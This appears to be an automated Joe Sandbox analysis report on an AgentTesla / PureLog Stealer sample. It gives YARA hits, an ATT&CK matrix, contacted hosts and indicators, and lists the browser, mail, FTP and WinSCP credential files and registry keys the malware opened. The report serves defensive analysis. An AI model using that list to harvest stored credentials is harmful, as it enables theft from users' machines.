Source: Yara match	File source: Process Memory Space: HHhSyZN.exe PID: 7836, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.47324e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.47324e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.7e10000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.7e10000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.2f9624c.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.30b62a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1733831709.0000000007E10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1730748161.0000000004719000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1769194056.0000000003039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1730005072.0000000002F19000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.4afe9e8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.4c1f8f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.4be4ed8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.4c1f8f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.4afe9e8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.4be4ed8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4150670140.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1771700675.0000000004BE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1730748161.0000000004AC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4150523967.000000000301B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kAsh3nmsgs.exe PID: 1216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kAsh3nmsgs.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HHhSyZN.exe PID: 7512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HHhSyZN.exe PID: 7836, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 8.2.kAsh3nmsgs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.4afe9e8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.4c1f8f8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.4be4ed8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.4c1f8f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.4afe9e8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.4be4ed8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4150670140.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1771700675.0000000004BE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1730748161.0000000004AC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4150523967.000000000301B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kAsh3nmsgs.exe PID: 1216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kAsh3nmsgs.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HHhSyZN.exe PID: 7512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HHhSyZN.exe PID: 7836, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.47324e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.47324e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.7e10000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.7e10000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kAsh3nmsgs.exe.2f9624c.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HHhSyZN.exe.30b62a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1733831709.0000000007E10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1730748161.0000000004719000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1769194056.0000000003039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1730005072.0000000002F19000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	3 Obfuscated Files or Information	11 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	2 Software Packing	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	211 Security Software Discovery	Distributed Component Object Model	11 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
kAsh3nmsgs.exe	79%	ReversingLabs	Win32.Trojan.Jalapeno
kAsh3nmsgs.exe	61%	Virustotal		Browse
kAsh3nmsgs.exe	100%	Avira	HEUR/AGEN.1305452
kAsh3nmsgs.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\HHhSyZN.exe	100%	Avira	HEUR/AGEN.1305452
C:\Users\user\AppData\Roaming\HHhSyZN.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\HHhSyZN.exe	79%	ReversingLabs	Win32.Trojan.Jalapeno

Source	Detection	Scanner	Label
http://crl.gl	0%	Avira URL Cloud	safe
http://crl.gl?	0%	Avira URL Cloud	safe
http://crl.globalsigx	0%	Avira URL Cloud	safe
http://ocsp2.globalsig	0%	Avira URL Cloud	safe
http://crl.g	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
smtp.yandex.ru	77.88.21.158	true	false	high
api.ipify.org	104.26.13.205	true	false	high
smtp.yandex.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.dyn.com/	kAsh3nmsgs.exe, 00000000.00000002.1730748161.0000000004AC4000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 00000009.00000002.1771700675.0000000004BE4000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4146034790.0000000000435000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org/t	kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://smtp.yandex.com	kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002DF9000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002E94000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000315E000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.000000000303C000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003494000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003415000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003384000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000003161000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.000000000324F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org	kAsh3nmsgs.exe, 00000000.00000002.1730748161.0000000004AC4000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4146027823.0000000000434000.00000040.00000400.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 00000009.00000002.1771700675.0000000004BE4000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.gl	kAsh3nmsgs.exe, 00000008.00000002.4189921949.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4147346234.0000000001376000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.g	kAsh3nmsgs.exe, 00000008.00000002.4147231136.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4190331509.0000000008B16000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp2.globalsig	kAsh3nmsgs.exe, 00000008.00000002.4190331509.0000000008B16000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	kAsh3nmsgs.exe, 00000000.00000002.1730005072.00000000031FF000.00000004.00000800.00020000.00000000.sdmp, kAsh3nmsgs.exe, 00000008.00000002.4150670140.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 00000009.00000002.1769194056.000000000331F000.00000004.00000800.00020000.00000000.sdmp, HHhSyZN.exe, 0000000D.00000002.4150523967.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	kAsh3nmsgs.exe, 00000000.00000002.1734143569.0000000009512000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.gl?	kAsh3nmsgs.exe, 00000008.00000002.4147231136.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.globalsigx	HHhSyZN.exe, 0000000D.00000002.4187909040.0000000009423000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
77.88.21.158	smtp.yandex.ru	Russian Federation		13238	YANDEXRU	false
104.26.13.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589087
Start date and time:	2025-01-11 09:22:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	kAsh3nmsgs.exe renamed because original name is a hash value
Original Sample Name:	df3a573b20ebe9b8a1d4769ec25f439b2738ea14008d9bbf469234033845e6ca.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/15@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 184 Number of non-executed functions: 28
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:23:23	API Interceptor	7083842x Sleep call for process: kAsh3nmsgs.exe modified
03:23:25	API Interceptor	34x Sleep call for process: powershell.exe modified
03:23:28	API Interceptor	5493875x Sleep call for process: HHhSyZN.exe modified
08:23:25	Task Scheduler	Run new task: HHhSyZN path: C:\Users\user\AppData\Roaming\HHhSyZN.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.88.21.158	file.exe	Get hash	malicious	AgentTesla	Browse
	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Get hash	malicious	AgentTesla	Browse
	7Gt3icFvQW.exe	Get hash	malicious	AgentTesla	Browse
	e7lGwhCp7r.exe	Get hash	malicious	AgentTesla	Browse
	DHL Delivery Invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse
	DATASHEET.pdf.exe	Get hash	malicious	AgentTesla	Browse
	DATASHEET.exe	Get hash	malicious	AgentTesla	Browse
	datasheet.exe	Get hash	malicious	AgentTesla	Browse
	datasheet.exe	Get hash	malicious	AgentTesla	Browse
	0zu73p2YBu.exe	Get hash	malicious	Chrome Password Stealer, Fox Password Stealer, Opera Password Stealer	Browse
104.26.13.205	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	BiXS3FRoLe.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	lEUy79aLAW.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	Simple1.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
smtp.yandex.ru	file.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	7Gt3icFvQW.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	e7lGwhCp7r.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	DHL Delivery Invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	77.88.21.158
	DATASHEET.pdf.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	DATASHEET.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	datasheet.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	datasheet.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	0zu73p2YBu.exe	Get hash	malicious	Chrome Password Stealer, Fox Password Stealer, Opera Password Stealer	Browse	77.88.21.158
api.ipify.org	dhPWt112uC.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	JuIZye2xKX.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ZeAX5i7cGB.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	jKqPSehspS.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	A6AHI7Uk18.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Wru9ycO2MJ.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	iNFGd6bDZX.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	MyzWeEOlqb.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	5hD3Yjf7xD.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ukBQ4ch2nE.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
YANDEXRU	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	77.88.21.119
	http://atozpdfbooks.com	Get hash	malicious	Unknown	Browse	77.88.21.119
	http://www.lpb.gov.lr	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	77.88.21.119
	http://www.singhs.lv	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	77.88.21.119
	https://www.cineuserdad.ec	Get hash	malicious	Unknown	Browse	77.88.21.119
	http://www.jmclmedia.ph	Get hash	malicious	Unknown	Browse	77.88.21.119
	http://cipassoitalia.it	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	87.250.251.119
	http://thehalobun.com/	Get hash	malicious	HTMLPhisher	Browse	77.88.21.119
	https://creditunions.taplink.ws	Get hash	malicious	HTMLPhisher	Browse	93.158.134.119
	http://phothockey.ch	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	77.88.21.119
CLOUDFLARENETUS	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	bIcqeSVPW6.exe	Get hash	malicious	FormBook	Browse	104.21.38.192
	mnXS9meqtB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1
	xaqnaB0rcW.exe	Get hash	malicious	FormBook	Browse	104.21.54.126
	8L6MBxaJ2m.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	aS39AS7b0P.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	gGI2gVBI0f.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	ZpYFG94D4C.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	Exodus.txt.lnk	Get hash	malicious	StormKitty	Browse	104.16.185.241
	dhPWt112uC.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	mnXS9meqtB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.26.13.205
	Exodus.txt.lnk	Get hash	malicious	StormKitty	Browse	104.26.13.205
	dhPWt112uC.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	h8izmpp1ZM.exe	Get hash	malicious	MassLogger RAT	Browse	104.26.13.205
	x8M2g1Xxhz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205
	lrw6UNGsUC.exe	Get hash	malicious	XWorm	Browse	104.26.13.205
	JWPRnfqs3n.exe	Get hash	malicious	MassLogger RAT	Browse	104.26.13.205
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.26.13.205
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	104.26.13.205
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.26.13.205

Process:	C:\Users\user\AppData\Roaming\HHhSyZN.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
